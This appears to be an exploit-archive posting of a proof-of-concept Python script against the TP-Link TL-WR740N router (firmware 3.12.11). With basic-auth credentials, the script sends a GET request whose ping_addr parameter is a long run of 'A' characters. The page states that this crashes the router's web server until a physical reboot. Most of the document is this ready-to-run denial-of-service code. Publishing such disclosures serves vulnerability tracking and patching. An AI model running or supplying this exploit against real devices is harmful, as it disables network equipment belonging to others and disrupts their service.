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TP-Link TL-WR740N Buffer Overflow / Denial Of Service

TP-Link TL-WR740N Buffer Overflow / Denial Of Service
Posted Mar 11, 2024
Authored by Anish Feroz

There exists a buffer overflow vulnerability in the TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request.

tags | exploit, web, denial of service, overflow
SHA-256 | 1ffb14b7cc151eb147dfc888b64259bdf2c04d3a6a304b037e87c8e84424acb5

TP-Link TL-WR740N Buffer Overflow / Denial Of Service

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# Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
# Date: 8/12/2023
# Exploit Author: Anish Feroz (ZEROXINN)
# Vendor Homepage: http://www.tp-link.com
# Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
# Tested on: TP-Link TL-WR740N

#Description:

#There exist a buffer overflow vulnerability in TP-Link TL-WR740 router that can allow an attacker to crash the web server running on the router by sending a crafted request. To bring back the http (webserver), a user must physically reboot the router.

#Usage:

#python3 target username password
#change port, if required

------------------------------------------------POC-----------------------------------------

#!/usr/bin/python

import requests
from requests.auth import HTTPBasicAuth
import base64

def send_request(ip, username, password):
auth_url = f"http://{ip}:8082"
target_url = f"http://{ip}:8082/userRpm/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20"

credentials = f"{username}:{password}"
encoded_credentials = base64.b64encode(credentials.encode()).decode()

headers = {
"Host": f"{ip}:8082",
"Authorization": f"Basic {encoded_credentials}",
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": f"http://{ip}:8082/userRpm/DiagnosticRpm.htm",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}

session = requests.Session()

response = session.get(target_url, headers=headers)

if response.status_code == 200:
print("Server Crashed")
print(response.text)
else:
print(f"Script Completed with status code {response.status_code}")

ip_address = input("Enter IP address of the host: ")
username = input("Enter username: ")
password = input("Enter password: ")

send_request(ip_address, username, password)

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